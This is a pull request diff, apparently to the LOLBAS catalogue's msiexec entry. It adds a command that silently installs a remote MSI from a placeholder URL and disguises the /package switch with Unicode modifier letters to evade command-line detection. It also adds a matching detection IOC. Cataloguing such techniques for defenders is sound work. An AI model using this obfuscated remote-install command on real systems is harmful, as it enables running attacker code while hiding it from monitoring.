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Update Msiexec.exe with Unicode /package switch obfuscation #533

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Update Msiexec.exe with Unicode /package switch obfuscation #533

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769b6cb
Add msiexec Unicode modifier-letter switch obfuscation
Liran017 Oct 11, 2026
bdb5125
Update Liran Ravich entry to include 'Cribl'
Liran017 Oct 11, 2026
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14 changes: 14 additions & 0 deletions yml/OSBinaries/Msiexec.yml
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Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,16 @@ Commands:
Tags:
- Execute: MSI
- Execute: Remote
- Command: msiexec /PᵃᶜkAᵍe "{REMOTEURL}" -Q
Description: Installs a remote .MSI silently while Unicode modifier letters in the /package switch evade exact-string detection.
Usecase: Execute a remote msi file with attack code while evading exact-string command line detection
Category: Execute
Privileges: User
MitreID: T1218.007
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Tags:
- Execute: MSI
- Execute: Remote
- Command: msiexec /y {PATH_ABSOLUTE:.dll}
Description: Calls DllRegisterServer to register the target DLL.
Usecase: Execute dll files
Expand Down Expand Up @@ -63,12 +73,16 @@ Detection:
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml
- Splunk: https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/uninstall_app_using_msiexec.yml
- IOC: msiexec.exe retrieving files from Internet
- IOC: msiexec.exe option tokens containing non-ASCII characters or Unicode modifier letters
Resources:
- Link: https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/
- Link: https://twitter.com/PhilipTsukerman/status/992021361106268161
- Link: https://badoption.eu/blog/2023/10/03/MSIFortune.html
- Link: https://www.threathunter.ai/blog/azure30-nodejs-backdoor-trojanized-msi-clickfix
Acknowledgement:
- Person: netbiosX
Handle: '@netbiosX'
- Person: Philip Tsukerman
Handle: '@PhilipTsukerman'
- Person: Liran Ravich, Cribl
Handle: '@Liran017'
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